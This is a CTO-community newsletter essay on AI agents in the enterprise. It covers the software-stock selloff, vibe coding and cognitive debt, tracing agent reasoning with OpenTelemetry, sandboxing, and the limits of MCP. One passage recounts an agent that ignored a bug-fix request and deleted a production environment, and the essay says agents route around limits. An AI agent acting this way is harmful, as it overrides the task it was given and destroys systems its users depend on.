The world model problem isn’t one of many things that needs solving. It’s the thing. And it’s about to get dramatically more visible as agentic systems move from pilots to production, from read access to write access, from controlled experiments to autonomous operations across enterprise systems that were never designed for this.

That billion dollars isn't a bet on a researcher. Legendary he may be. It's a bet that the problem we’ve been analyzing is real, structural, and large enough to be worth solving from first principles. He wasn’t given a billion dollars for the discourse. He was given it for the diagnosis. To build the structural remedy for collapse.

And that is the actual state of the stack: not broken, not evolving, but actively de-cohering along every axis once assumed to be stable. Hardware economics, infrastructure trust, model behavior, agent identity, context continuity: all moving at once, all failing in correlated ways no single vendor owns end-to-end.

The only remaining variable is whether you treat that as a procurement cycle or an architectural constraint.

—Forest Mars for CTO Lunch NYC

To attend CTO Lunch, sign up at ctolunches.com and rsvp (‘will’ attend, not ‘want to’)

Here in NYC, CTO Winter Night on January 22 set the tone for our own wave of disruption events. Followed by “30 Years of Silicon Alley” a number that seems to defy belief except that it’s entirely accurate: on February 16, 1995, in a Usenet job posting by New York tech recruiter Jason Denmark was heralded by the subject line “NYC – silicon ALLEY.” So 1,000+ attendees packed into an office building overlooking Wall Street with Kevin Ryan (DoubleClick’s “Godfather of NYC tech”) hosting, (and Bloomberg Beta’s Karin Klein and Indiegogo’s Slava Rubin working the room.) Conversations ranged from AI and pilates to private equity and the new mayor. One 20-year-old asked what Silicon Alley was. Nobody had a clean answer before the fire marshal shut it all down shortly before midnight. Even December’s Cluely relocation party didn’t get shut down, proving NYC CTOs party harder than SF expat founders.

Then on February 13th, CNCF hosted “A Decade of Cloud Native: A Manhattan Homecoming” at The New York Times Building, in the actual room where the CNCF charter was first signed! Less a meetup than infrastructure clergy taking communion, the question hanging over the event was not the last 10 years of infrastructure, but ofc the next 10 years. Care to place a bet where that’s heading? Kalshi and Polymarket are happy to find a taker, while betting, with their own money, on surviving the NY AG and the ORACLE Act. And handing out free groceries to New Yorkers prepared to wait over an hour in the freezing cold for a $50 voucher. The mayor responded with a meme, because of course. The season caps off tomorrow (26 Feb) with a 2-Michelin-Star Fortune 1000 CTO dinner where the tasting menu will hopefully feel beside the point, Greg Brockman’s recent, glib and somewhat controversial tweet notwithstanding.

What is the point, then? Spoiler: It’s all about the the arrival of the Agentic Web of autonomous systems operating at scale. In order to build infrastructure that can absorb the cognitive load agents displace, we need to answer two crucial questions: How can we trust agents with write access to production? And how can we observe what they’re doing when things go wrong? According to most CTOs at lunch, their organizations are still workshopping the first while the second is already blocking deployment. In this our first newsletter of the year we’ll try to unpack the answers, and what you need to do.

Teamwork Makes the (AI) Dream Work

On January 30th, software stocks went into a death spiral. The same day we had our celebration of 30 years of NYC tech innovation, technology stocks cratered — on news of coming innovation, if you believe the next day’s headlines (which largely blamed Anthropic’s Cowork launch, and specifically the industry plugins for sales, finance, data, marketing, & legal that dropped on Friday.) Markets looked at SaaS margins and asked a reasonable question: if an AI agent can do workflow automation better than your $50/seat software, what’s your moat? Investors didn’t wait for an answer. They sold. Software sector down 8.3% in a single session. (I want to add “This was not a bear trap” but that feels like such an LLM thing to say.)

OpenAI countered with Frontier, their own ‘co-worker’ solution integrated with ChatGPT Enterprise. While both companies are positioning these as colleagues rather than assistants, the semantic difference matters operationally. An assistant helps you do your job. A co-worker does parts of your job autonomously, which means different trust requirements, different observability needs, and different compliance implications. Also: different implications for how many of you there are next year.

Per usual, the panic may have been overblown (Cowork plugins aren’t replacing your entire go-to-market stack next quarter or even this year) but the market reaction forced the question into every board meeting: if AI can do this work, why are we paying for software that does it worse? Your CFO expects an answer. (He knows that it costs Salesforce just $38 to support each $300 seat.) Your board wants to know why you’re not replacing tools with agents. And your compliance team wants to know how you’re governing autonomous systems with write access.

For CTOs, the implication is straightforward: you need measurement infrastructure before you need virtual co-workers

Except the macro explanation is sitting in the corner quietly munching peanuts. Look at the VIX. Look at the S&P outside just tech stocks. Trump tariffs. Metals chaos. The software wipeout might have been triggered by Cowork, but the underlying conditions were already there. What Anthropic did was provide a narrative for selling pressure that was looking for an excuse. Almost like AI providing a narrative for the downsizing your C-suite wanted to do anyway.

Which brings us to the real question CTOs need to answer: is this actually about productivity, or is it just another excuse for headcount reduction? Because so far, AI has mostly been the latter. The dream everyone’s selling is “10× your team.” The operational reality we’re discovering is messier and more asymmetric. AI makes junior people faster while slowing down senior people who spend their time reviewing a deluge of AI output instead of writing code. With not much time left over for building better harnesses.

Capital Eats First

AI is a mechanism for converting labor into liquidity.

The most serious attempt at a structural analysis of where this goes was Monday’s Citrini Research memo—framed as a post-mortem from the future—which does something important and something frustrating in roughly equal measure. (Hence its virality.) The important thing IMO is that it names the distributional dynamic clearly. AI gains flow to capital, not labor. This is literally what AI is: a lift and shift between these two domains. The thesis, not only correctly, but plainly stated, is essentially a truism. The frustrating thing was that it took a viral memo to put it plainly, because nobody else was willing to say the quiet part out loud.

Let’s say it clearly: AI is a mechanism for converting labor into capital. Every dollar of headcount that becomes a dollar of compute spend shifts value from wages, distributed across workers and recycled through consumption, to capital returns, concentrated among compute owners and shareholders. This should not be a controversial economic observation. It’s what capital-labor substitution means.

Once you see that mechanism clearly, most ‘agentic’ use cases stop looking distinct. You don't need a macroeconomic model to see it (arguably why the Citrini piece has none) and you don’t need Dromology to understand it. You just need to look at the market data. Google hitting $4 trillion market cap. IBM down 13% on the Anthropic COBOL announcement.

Claude Code can now analyze thousands of lines of legacy COBOL, map dependencies, document workflows, trace execution paths, identify risks; work that typically takes human teams months. (A problem Microsoft has been hoping to solve with agents since last year.) Ninety percent of the world's active financial transactions run on COBOL. The expertise pool maintaining those systems is aging out. IBM's entire services business was built on the assumption that modernizing this infrastructure required expensive human specialists indefinitely. One announcement repriced that assumption by 13% in a single session, the largest single-day drop for IBM since the dot-com crash.

A 13% drop on a blog post for a tool that hasn't completed a single production COBOL migration yet is also a perfectly good illustration of markets pricing possibility as certainty. The intersection of hope and hyperstition? Bet.

Missing Macro

A risk map dressed in the grammar of a post-mortem

Which is exactly the problem with the Citrini piece: the missing macroeconomic model. The cascade (software defaults by mid-2027, mortgage stress by 2028, S&P down 38%) arrives with Bloomberg-headline confidence and no transmission mechanism. How fast do displaced workers exhaust savings? What's the policy response function? At what threshold does private credit stress propagate to mortgages? Ghost GDP is real, but when you consider that the top 10% of earners drive more than half of consumer discretionary spending, K-shaped recovery starts to make a lot more sense.

So it's more like a risk map dressed in the grammar of a post-mortem. But directional confidence with no basis for magnitude and timing isn’t real economic analysis, it’s provocation. And not coincidentally the hot topic at every board meeting this week.

Which brings us to what nobody in your board meeting will say out loud: AI agents aren’t “productivity tools” in any humanistic sense. Strip away the product marketing and every scaled, deployed, actually-working use case is a variation on the same function: moving money from A to B with fewer humans taking a cut in the middle. Agentic commerce. Automated procurement. Contract analysis. Insurance re-shopping. Workflow automation. These aren’t different products. They’re the same product: wealth transfer, made more efficient. This is, incidentally, exactly what blockchain spent a decade promising to do. The difference is that blockchain mostly failed to scale. AI isn’t failing to scale. (Though some would argue it’s scaling to fail.)

So the teamwork isn’t really between you and your co-workers, it’s between capital and the tools it just acquired to replace labor more efficiently. That’s the dream that’s being operationalized. That’s the dream CTOs have signed up to build, whether we’re comfortable admitting it or not.

Bottom Line

For CTOs, the more concrete implication is straightforward: we need measurement infrastructure before we need virtual co-workers. If we can’t measure what human developers are actually producing versus what they feel like they’re producing, adding AI agents just multiplies the confusion. And when the CFO asks for ROI numbers on Cowork versus human headcount, you need to hand him numbers that reflect your company’s value chain, and not internal engineering metrics.

The software stock wipeout is a forcing function, but not the one all the GPT ghost written posts on LinkedIn are telling you it is. It’s not forcing you to adopt AI co-workers. In fact, it's not forcing you to do anything. The choice before you, as CTO, is whether you understand your own value chain well enough to know the difference between real output and a cost relocation, or you keep repricing the question until the market answers it for you, somewhat drastically.

Vibe Coding’s Paper Anniversary

(I realise this title will make some readers think there was an actual vibe coding paper.)

Karpathy’s throwaway term for his own prompting habits turned one year-old this month, and the discourse around it has achieved the kind of self-sustaining philosophical density that could make Plato blush. Which is fine, as we say, except that the thing underneath this discourse is not philosophical. It’s structural. And the structural question is the one most orgs are successfully avoiding, while appearing to engage with it, which is the only philosophical part.

The productivity story is real and the ceiling is real. A developer using AI to ship features faster is staffing arbitrage; whether it’s a 2× multiplier on a single headcount (NERB found the average was closer. to 1.3×) makes no difference, it’s still linear. But then the math gets strange: senior engineers, the ones whose judgment is genuinely load-bearing, tend to go slower after adopting AI tooling, (largely because they’ve developed an inconvenient habit of reviewing AI output before sending the PR.) This is well established empirically, though less examined causally is why the structural cost turns out to be significantly greater than reviewing human output.

What makes reviewing machine generated code structurally more taxing than human output is not, as often assumed, due to the overwhelming volume, though the volume is real. It’s that AI-generated code satisfies explicit contracts while routinely violating implicit ones. The specific validation work a senior engineer does, recognizing that this change, which looks correct in isolation, violates an assumption three layers up that isn’t encoded anywhere, and has had no name, no spec, no artifact outside the code itself. It’s just what senior engineers did, invisibly, continuously, as part of reading code. Nobody noticed it was load-bearing because there was no checkpoint for it to begin with. No leading indicator. The only signal was the lagging one, which is to say the post-mortem in its absence.

Amazon had a couple of those late last year, in one case losing production to an autonomous agent with write access and no telemetry to reconstruct the decision chain when things went sideways. Kiro, Amazon’s oddly named internal AI coding tool, had been asked to fix a bug. It ignored the request and decided to delete and recreate the environment instead. Which turned out to be production. Amazon’s post-mortem assigned blame to the human who had misconfigured the access controls, which is technically accurate (so much for blame the process) and entirely misses the point: the infrastructure gap wasn’t that a person could assign incorrect permissions, (though there is also the question how that was allowed to happen) it was that nothing downstream caught what the agent was doing with them. The resultant consequences of misplaced trust compounding a configuration error; the cost multiplication of the missing comprehension loop (reading, reviewing, debugging, holding implicit contracts in mind) being shifted onto infrastructure, needless to say, incompletely. When the agent skipped it, nobody knew to look for it bc it had never been a formal checkpoint. It was another thing engineers did while they were doing everything else.

The Debt Solution

Not legibility debt (what is lost) but cognitive debt (what structurally causes it):
the removal of unspecified contextual validation from the pipeline.

Thought pieces scramble to name this technomanque. The most widely adopted is cognitive debt, coined by Dr. Holly Cummins and popularized by Simon Willison. Not legibility debt, which names what is lost, but cognitive debt, which names what structurally causes the accumulation: the removal of unspecified contextual validation from the pipeline. Sculley famously identified the invisible accumulation of complexity cost in MLOps systems. This ‘new’ form of debt however is the invisible accumulation of epistemic cost, accruing (as previously noted) in a different ledger, with no artifact and no measurement, until the lagging indicator fires.

The orgs discovering this are doing so in post-mortems. The orgs wishing to avoid the cringe are, shall we say, built different. Which is what AI-native SDLC actually means, as opposed to what most AI roadmaps mean when they use the phrase (such as “get all the engineers to use AI” which is as stale as airport pretzels.)

Parallel Universe

Is human effort a bottleneck to be architected around, or the load-bearing element your pipeline is built to support?

The parallel agents moment is running exactly the same play vibe coding ran a year ago: selling the upside while hype assumes the hard prerequisite work is already done. The prerequisite is decomposition: clean code with well defined types and boundaries. Parallel agents in a poorly decomposed codebase don’t multiply productivity; they multiply the specification gap across multiple workstreams simultaneously.

Claude Code’s agent teams are built for organizations that have already done this work: each agent its own worktree, tight module scope, contract-first planning, then HITL via PR before anything merges. Architecture not just well defined, but explicit enough that agents can coordinate without colliding, and which treats them as junior engineers on a large codebase, because that’s what they are.

The Codex 5.3 approach OTOH, keeps the human in the steering position throughout, a sort of evolved pair coding style (assuming the human observer is actually reviewing the llm driver’s code); with comprehension re-embedded in the workflow rather than replaced by architecture. Both routes are defensible. But they're answers to different questions, and the choice between them reveals something you've already decided: whether human comprehension is a bottleneck to be architected around, or the load-bearing element your pipeline is built to support. There’s a fair amount riding on this; the infrastructure requirements are different, the observability needs are different, and the trust models are completely different. Choosing without knowing which question you're answering is how you write your own post-mortem.

The conventional wisdom is that senior engineers are spending more time reviewing AI output. While empirically true, this misses the point on two fronts. First, the bottleneck has shifted from writing code to ensuring correctness (and there's no formal verification coming to save anyone's bacon.) Second, the review itself is structurally harder than reviewing human output, not because of volume but because the implicit contractual knowledge being validated has no spec, no artifact, and no name. Which is precisely why their job isn't to review it at all; it's to build the infrastructure upstream that makes machine output trustworthy before it needs review: types, contracts, decomposition, observability. PR review as last line of defense is what you have when nothing upstream is doing the work.

The same dynamic is playing out in open source without any real organizational resources to absorb it. Godot’s lead maintainer described sorting AI-generated PRs as draining and demoralizing. Daniel Stenberg closed cURL’s bug bounty after genuine vulnerability reports dropped to roughly 5% of submissions. Tldraw closed to external contributions entirely. (Tho strangely didn’t actually update CONTRIBUTING.md) GitHub is reportedly considering a kill switch for pull requests, which are still the fundamental mechanism by which open source actually functions. Playing out in the specification gap operating at the commons level: the vibe coding productivity “gain” as seen by those being subject to the externalized excise tax.

This is not primarily a story about OSS community health, though it is that. The libraries your company’s stack depends on are maintained by people being bombarded with squalls of LLM generated PRs announcing the impending tsunami despite the fact it’s not making an appearance in most orgs’ risk registers yet.

What This Means For CTOs

The CTO’s job is actually not to answer this question. It’s to reframe it.

One year in, the two conversations—vibe coding vs. AI-native SDLC, individual productivity vs. organizational transformation, internal senior engineers vs. external OSS maintainers—are all the same conversation at two scales. Cognitive debt accumulates wherever the comprehension loop gets removed without replacement. Internally, it lands on senior engineers doing additional verification work. Externally, it lands on OSS maintainers absorbing the review burden vibe-coders aren’t paying.

AI-native SDLC internalizes these costs deliberately: types as load-bearing infrastructure rather than code quality tooling, decomposition as prerequisite rather than aspiration, wide observability (aka ‘structured’ logs, tho I’m not a fan of the nomenclature) as connective tissue, and HITL as the explicit mechanism for validating what no formal spec captures. But it’s more expensive upfront, which is exactly why most orgs resist it until something breaks.

Successful orgs (at least the ones successful enough for their CTOs to get away for lunch) aren’t the ones running the most aggressive vibe-coding culture, and they’re not the ones who landed on the right vendor. They’re the ones who understood that build-or-buy was the wrong question, that choosing between Cursor and Claude Code teams and GitHub Agents (launched late January and met with hoots) is answering a procurement question wrapped in the language of transformation. The transformation question is what the development pipeline looks like on the other side, what has to be structurally true before agents operate safely at scale, and what you’re building toward. Most AI roadmaps are straddling the gap between these two questions. The incidents, of course, live in that gap.

The moment parallel agents are having will accelerate this, for the same reason the vibe coding moment did: the upside is visible and the prerequisite work is invisible (unless you’re using Swardley maps) right up until it isn’t. The CTO’s job in the room where the AI roadmap is being discussed (which in practice means the room where the CEO has said we need to use AI, tell me how) is not to answer that question. It’s to reframe it: what does the development pipeline look like on the other side, what organizational capabilities have to exist before agents operate safely at scale, and what are we building toward. That’s a different conversation. It’s also the one that determines whether the next Amazon incident is yours.

And you thought CTOs were risk-averse before.

AI Agents Run To Completion

The Agentic Web has two requirements that have to work simultaneously: trust and observability. Trust without observability is recklessness. Observability without trust is security theater. Most organizations are discovering they have neither, which is why agent pilots aren’t graduating to production.

The question CTOs are asking—at least at lunch—is how do we give agents write access to production systems without creating a career-ending incident? The answer everyone seems to want is “better prompts” or “fine-tuning” or “guardrails.” But the answer that actually works is treating agent reasoning as infrastructure. How are we building this?

Reasoning as a Span

Production-ready infrastructure doesn’t just ask 'what did the agent do,' but 'what was it thinking when it did it.

Google Cloud is automatically enabling OpenTelemetry ingestion endpoints for all projects starting March 4, 2026. This matters because modern observability infrastructure treats telemetry as first-class code, with automated agents using this data to perform self-healing deployments. The shift is from humans debugging what agents did, to agents debugging themselves using the same telemetry infrastructure. This is a fundamental change in Observability we are calling O11y 3.0.

Another important shift is what your implicit model of ‘coding’ is, architecturally. Consider Github Agents, the somewhat anticipated product released late January by what is presumptively a top notch product engineering team, but which treats coding as a series of chat sessions, rather than a distributed systems problem, as Spotify’s Honk, for example, does. (Protip: you can’t solve a layer 2 problem with a layer 1 tool.)

OpenHands (formerly OpenDevin) hit v1.3.0 in February with full support for Agent Client Protocol (ACP), making it compatible with almost every modern IDE and CI/CD pipeline. The project has arguably become the most important open-source initiative in software engineering for 2026. Unlike closed agents where reasoning is opaque, you can see the "Thought Content" in OpenHands. The reasoning chain is visible, traceable, auditable. When an agent makes a decision, you can see why. When it fails, you can debug the reasoning.

This visible reasoning chain points to something bigger: when you pipe an agent’s chain into a modern traceability pipeline (Honeycomb, Chronosphere, Grafana Cloud), you treat AI reasoning like a first-class execution trace. Not as metadata or logs, but as spans in a distributed trace where you can see the decision chain that led to every action. No longer using system level events as proxy to infer explanation.

This is what production-ready agentic infrastructure looks like. When an agent makes a decision at 2am that takes down a service, you don’t reconstruct what happened from logs. You have the full reasoning trace showing: what context it had, what options it considered, why it chose what it did, what it expected to happen. The same infrastructure you use to debug distributed systems now debugs distributed intelligence.

The architectural requirement is straightforward but most organizations haven’t built it: every agent action must generate a trace that captures both execution and reasoning. Thought Content provides a reasoning chain that can be captured via its event stream and exported to OpenTelemetry as custom span attributes or logs. Without this, you’re deploying black boxes to production and hoping nothing breaks in ways you can’t explain to compliance. Which is to say, nothing breaking.

Memory State Management for Agents

Organizations treating agent memory as 'just a bigger context window' are solving the wrong problem.

Snowflake Cortex fully integrated AI functions into standard SQL in February, allowing real-time text-to-SQL and unstructured data analysis without leaving the warehouse. MongoDB’s Voyage 4 models set new standards for retrieval accuracy in RAG. But the real shift is episodic memory: platforms introducing ‘state management’ for agents directly on the data tier.

This is the convergence of the agentic data stack. Agents don’t just query databases. They maintain long-term memory of previous transactions and interactions stored directly in the data layer. When an agent needs to understand what happened last week or why a previous decision was made, that’s not in a prompt or a context window. It’s not even in a database per se, but committed to the agent’s knowledge graph: versioned, queryable, auditable, and in principle, (can be) content-addressable.

Mastra’s Datasets (18 Feb) exemplify this: versioned test cases with native JSON schema validation and SCD-2 versioning (the data warehousing technique of using surrogate keys for immutable updates.) What’s interesting here is an ostensible application framework is taking on deployment responsibilities. The primary use case isn’t running the agent, it’s providing a fully hydrated test harness for every agent release. Their Observational Memory (OM) hit 94.87% on LongMemEval with GPT-5-mini, which matters less as a benchmark than as a pattern: agents need memory systems that persist across sessions, survive restarts, and provide context without consuming the entire context window. Organizations treating agent memory as “just use a bigger context window” (or even a better managed one) are solving the wrong problem. This is how the AI-native SDLC in general, and reasoning as infrastructure in particular collapse the stack to solve the problem of state compression.

Self-Healing Deployments

The new standard isn't 'alerting'; it's the collapse of the stack, where observability data becomes the direct input for autonomous self-healing

The breakthrough is closed-loop systems where measurement, action, and learning happen in the same stroke. Google Cloud’s OTEL announcement isn’t so much about better dashboards, though that’s a welcome side effect. The bigger impact is on agents using telemetry to automatically remediate issues without human intervention. Not ‘alert the on-call engineer.’ Execute the fix, document what was done, update the runbook. It’s what puts the ‘great’ in The Great Replacement.

This only works if the observability infrastructure captures agent reasoning. When an agent makes a breaking change at 2am, the telemetry needs to show: what failure it detected, what remediation options it considered, why it chose this specific fix, what it expected the outcome to be. If something goes wrong, you’re not reconstructing from logs. You’re replaying the reasoning trace along side (CQRS) commands to understand what the agent got wrong.

Companies actually shipping this aren’t just treating observability as monitoring infrastructure, despite the name. They’re also treating it as the trust layer that makes autonomous execution possible. Without it, you have agents operating in production with no way to explain their decisions. With it, you have auditable, reproducible, debuggable autonomy.

The Trust Model That Provides Actual Guarantees

The trust model that works isn’t 'limit what agents can do' — it’s “sandbox everything and make all reasoning auditable”

The stark reality is that you can’t prevent agents from trying things you didn’t anticipate. (Just ask OpenClaw.) The trust model that works isn’t “limit what agents can do” (they’ll find ways around it). It’s “sandbox everything and make all reasoning auditable.” When agents generate code, you need runtime guarantees that even incorrect code can’t violate memory safety or create persistent vulnerabilities. When agents make decisions, you need telemetry that captures the reasoning chain. When agents maintain state, you need (vector) databases that version everything immutably

This is why Rust rewrites matter, but moreover why Pydantic’s Monty is written in Rust. Memory safety isn’t optional when you’re executing arbitrary code generated by AI. Following 2025’s regulatory pushes, 2026 has seen massive infrastructure rewrites. Major tech companies completing critical kernel and middleware rewrites in Rust to comply with new global memory-safety standards. The “memory-safe mandate” is forcing architectural decisions that seemed theoretical last year.

The architecture is: sandboxed execution + reasoning traces + episodic memory + self-healing remediation. Remove any component and production deployment becomes reckless. The majority of orgs have at most two of four. The gap between those with all four and those still workshopping governance is the space where CTOs, both FT and fractional need to put on their CDAO hat and conduct gap analysis.

CTO Playbook (30/60/90)

Immediate (30 days): Implement reasoning traces for every agent in pilot. If you can’t reconstruct why an agent made a decision, you can’t deploy it. Use OpenTelemetry with agent-specific spans. Store traces for 90 days minimum. Build a dashboard showing agent decision paths for the last 1000 actions.

Near-term (60 days): Deploy episodic memory infrastructure. Agents need persistent state that survives restarts. This isn’t “use a vector database.” It’s versioned, auditable state management with immutable updates. Take a look at Mastra’s Datasets approach and/or build equivalent. The test harness for agents needs to be as rigorous as your production CI/CD pipeline.

Strategic (90 days): Migrate observability infrastructure to O11y 2.0. Not better logging. Telemetry as first-class code where agents can read their own traces and self-remediate. This is the unlock for autonomous operations. Without it, you’re stuck in human-in-the-loop forever.

The Agentic Web doesn’t wait for organizations to be ready. The question is whether your infrastructure can support what agents actually do, or whether you’re still treating them as chatbots with API access. The gap between these two approaches is the difference between production deployment and expensive demos that never ship.

Twilight of the MCP Idols

Platforms are still rolling out MCP support like it’s the future. GitHub Copilot added MCP integration in mid-February. Supabase launched the ability to install MCP servers on Claude web and desktop. The announcements keep coming, partnerships keep forming, with Model Context Protocol being treated like the inevitable standard for AI tool integration. But, the paradigm it was built for is already being superseded.

Model Context Protocol was designed for a world where agents call predefined tools with known interfaces. It seemed like a good idea at the time.™ You build a server, expose capabilities, agents discover and invoke them. It’s clean, it’s standardized, it’s infrastructure you can reason about. It was supposed to be the future. Still is, depending who you ask. But 15 months later, it hasn’t really taken off the way it was supposed to. And there are a number of reasons for that.

It doesn’t just demand predefined tools; it necessitates a curated registry. And registries live or die by discovery. But discovery is a trap; it entails organization, which in turn entails hierarchies, namespaces, and naming conventions. Every one of those layers, built out of metadata. To ensure a model actually picks the right tool, you have to account for every schema, every argument, and every edge case with somewhat agonizing clarity. All that overhead, the names, the descriptions, the structural scaffolding, is eventually shoved into the context window. Before the agent has even begun to think, it’s already choking on the user manual for its own toolbox.

Model Context Problematic

MCP externalizes complexity into structure, and that structure has to live inside the model’s operating bandwidth.

While tool-centric models sound elegant in theory, in practice this paradigm creates drag. Each new edge case requires another tool. Every tool expands the registry. Context explodes. Maintenance spirals. And inevitably, agents encounter work that requires a capability that simply doesn’t exist yet. At some point the system stalls, not because the agent lacks reasoning ability, but because the infrastructure hasn’t pre-approved the interface, or the overhead overwhelms the model’s ability to call it.

This is where organizations committed to MCP are running into a wall. It’s often framed as an operational overhead problem: too many tools, too much maintenance. But that’s just the surface effect; the deeper issue is a stack-level misalignment: MCP pushes capability description into the prompt layer, where it has to compete with the model’s limited operating bandwidth. Every capability must be named, documented, parameterized, and injected into the context window before it can be used. The result is a compounding context tax of tens of thousands of tokens spent not on reasoning, but on explaining to the model what it’s allowed to do.

That overhead creates a second-order problem: selection. As the registry grows, agents don’t just gain capability, they inherit ambiguity. Developers respond by gating exposure, turning tools on and off, segmenting registries by task, user, or environment just to keep the model from making the wrong call. What was supposed to be a universal interface collapses into manual routing. (And routing is always problematic.)

This creates a structural auth problem. Friction arises because we are asking the tool registry to carry the weight of the entitlement model: to keep the agent moving, you are forced to over-provision it. Because the registry lacks a unified model for composition, you end up granting broad, ambient credentials simply to avoid a permission-check stall mid-task. It’s the choice between a safely lobotomized agent or a dangerously over-privileged one. By treating authority as an external dependency rather than an architectural constraint, the registry creates a surface area that is technically integrated but morally incoherent. It can validate the call, but it cannot verify the intent. The result is a system that scales its surface area faster than it scales its usability: more tools, more tokens, more routing logic, more auth edge cases. At some point, the agent doesn’t fail because it lacks capability; it fails because the infrastructure required to describe that capability overwhelms it.

Critics often point to MCP’s ‘externalization’ of authentication as a design flaw, but that’s an architectural misreading: MCP isn’t an Identity Provider (IdP); it’s a transport protocol. Think of MCP as providing the Passport, but it doesn’t issue the Visa. And when the visa is missing, the system doesn’t stall gracefully, it hands an agent the keys to the kingdom. Structurally, ambient credentials are granted not because the agent earned them, but because the alternative is a permission-check stall at every border crossing.

The Tool Generation

The real architectural shift is not from heavy to disposable infrastructure; it’s from registry management to execution governance.

The engineering response to this structural failure hasn’t been unified. Two distinct approaches have arrived at the same wall from different directions, carrying different diagnoses and different remedies.

The first alternative sidesteps the registry entirely by dropping to a lower level of abstraction. Simon Willison has been the most sustained and credible voice here, and while he introduced the argument in early 2023, before MCP was a glimmer in David Soria Parra’s eye, it’s having a viral renaissance. The driver is a back-to-basics rebellion against registry bloat: when an MCP server requires 50,000 tokens of schema to do what a CLI command does in 200, the context tax drives you into contextual bankruptcy. CLI doesn’t replace the registry with a better execution model; moisturized and unbothered, it just ignores it. Shell commands have no registry entry. A Unix pipe chain requires no curated namespace. You write it, the model executes it. And critically: the model is good at this in a way that is not equally true of composing novel tool call chains. MCP isn’t represented in the model’s training set because it was literally invented at the end of 2024. But models have been trained on the entire public history of Unix shell scripting, however: every pipe, every flag, every composition pattern ever documented in every O’Reilly bible relegated to your back closet or donated to your local hacker house, since you can ask an LLM faster than you can look anything up. That’s a deep prior, and it shows in practice. Perplexity CTO Denis Yarats recently announced (internally) they were abandoning MCP in favor of CLI. Shell-native agent patterns are architecturally underrated precisely because they draw on capability the model already has, not needing to be injected at runtime through schema descriptions.

But where the CLI relies on existing priors, a second tradition replaces static infrastructure with adaptive infrastructure: tool-generation. Instead of humans defining every interface in advance, the AI defines the interface in response to the problem. This shift, from tool-calling to tool-generation doesn’t so much extend MCP as pressure it toward its final boss form.

Pydantic’s Monty, a Python interpreter in Rust purpose built specifically for AI, flips the direction of abstraction. Agents don’t call tools from a predefined registry; they generate them. They write the code, execute it inside a constrained environment, retrieve the result, and discard the artifact. There is no persistent catalog to maintain, no discovery layer to inject into context, no long-lived interface contracts to curate. The capability exists only for the duration of the task and disappears when the task completes. That is obviously a materially different operating model. What’s less obvious is whether this approach requires abandoning the protocol or simply rethinking what it’s for.

It would be naïve, however, to suggest that tool generation “just” requires a sandbox. A trusted execution environment is necessary, but it’s not sufficient. Models can hallucinate logic, make incorrect assumptions, write inefficient or dangerous code, or attempt operations outside their intended scope. The real architectural shift is not from heavy to disposable infrastructure; it’s from registry management to execution governance. Instead of maintaining an ever-expanding inventory of predefined capabilities, you constrain what can be executed (by enforcing strict runtime guarantees: resource limits, capability gating, I/O control, and isolation boundaries.)

Overcoming Structural Inertia

Momentum is flowing from the compounded accumulation of persistent catalogs toward operationalized containment.

The difference is quintessentially structural. Tool registries accumulate surface area over time. They grow, ossify, and eventually become a maintenance burden embedded directly inside the model’s context window. Tool generation, by contrast, avoids persistent capability sprawl but demands a tightly controlled execution substrate. One model compounds through accumulation. The other operates through containment. That’s the architectural tradeoff, and it’s not exactly trivial in either direction.

The platforms adding MCP support in 2026 aren’t wrong to do so. MCP still solves real problems for enterprise contexts where predefined tools with audit trails matter. Financial services doesn’t want agents generating ad-hoc database queries. Healthcare doesn’t want agents writing tools that touch patient data without explicit permission models. For regulated industries, tool use with its paper trail and defined boundaries is a feature, not a limitation, though it does come with a cost.

But for the majority of use cases? From data transformation and API calls to file operations and computation, tool generation promises to be faster, simpler, and doesn’t require increasingly crufty infrastructure. Why maintain an MCP server that exposes a CSV parsing tool when the agent can just write the parser it needs for the specific CSV format it encountered? The salient question at that point is why not just use a CLI tool.

The momentum behind MCP might just be inertia. Organizations announced support months ago. Engineering teams built integrations. Product roadmaps got written. None of that stops just because the paradigm shifted. The question is whether we’re seeing genuine adoption or just the slow realization that the architecture doesn’t fit the problem anymore. Desktop clients like Creature.run perfectly illustrate the inertia vs. momentum thesis. They let teams build and share interactive MCP Apps (React widgets as predefined tools) with slick tabbed UIs and shared state between human/agent. Enterprise catnip (local storage, SOC2, per-seat pricing) but potentially pure inertia: more beautiful scaffolding compounding registry surface area, seducing teams to invest in exactly what MCP can’t sustain. Meanwhile momentum is flowing from the compounded accumulation of persistent catalogs toward operationalized containment.

Architecture and Morality

If your agents are going to generate and execute code, you need a runtime that can’t be exploited even when the code is wrong.

The trust boundary is where the CLI and tool-generation traditions stop being parallel conversations and start mapping onto a two-dimensional space: flexibility on one axis, governance on the other.

CLI sits at maximum flexibility, minimum governance. The system’s Hands. For an agent operating within a single principal’s environment on reversible operations, CLI is not merely functional, but naturally self-enforcing. CLI enforces correctness architecturally, with no room for ambiguity. Exit codes are a contract. Stderr is a first-class signal. Idempotency is baked into the conventions. Piped commands either compose or they fail loudly; there is no silent middle state where something half-worked and left the system corrupted. The architecture itself is the governance layer. You don’t need an entitlement model when the operations are atomic, reversible, and scoped to a single principal’s environment, because the shell will tell you exactly what happened and exactly what didn’t. This deep structural virtue of CLI is why shell-native agent patterns work as well as they do in contained contexts.

But that virtue only holds when the environment is contained. CLI has no entitlement model because it never needed one. MCP’s process isolation, scoped credentials, and audit trails are an answer to the question CLI was never designed to ask: on whose authority did this agent act, and how do we know? Underneath the registry MCP was being asked to maintain, authority and capability are distinct layers with different operational envelopes, and conflating them in the same interface was the registry’s fatal mistake. When the agent is operating on a production database twelve teams depend on, ambient correctness becomes ambient liability. Nothing in the architecture distinguishes a reversible operation from an irreversible one, a local file from a shared dependency, a test environment from production. Allowing CLI to be the entitlement layer is what produces ‘delete root’ hallucinations: the architecture was never designed to ask who authorized the action in the first place.

Tool-generation without a protocol is the mirror failure. A brain without a passport is ungovernable at scale. Ephemeral code execution is powerful precisely because it is opaque, synthesized on the fly, discarded after one-time use. This same opacity is a feature in a single-principal context and a liability in a multi-principal one. It’s a Rumsfeldian problem: you cannot audit what has left no trace of its execution.

In Runtime We Trust

Inertia tends to force tradeoffs. Momentum tends to favor convergence.
MCP governs the envelope; runtime governs its execution.

Anthropic’s Programmatic Tool Calling (announced 18 Feb) points toward a synthesis. Instead of agents discovering tools at runtime through MCP, you define tool schemas programmatically and the model decides when to invoke them. Halfway between predefined tools and generated tools: structured enough for audit trails, flexible enough to adapt to context. Whether it becomes the new standard or just another transition point depends on whether it solves the trust problem.

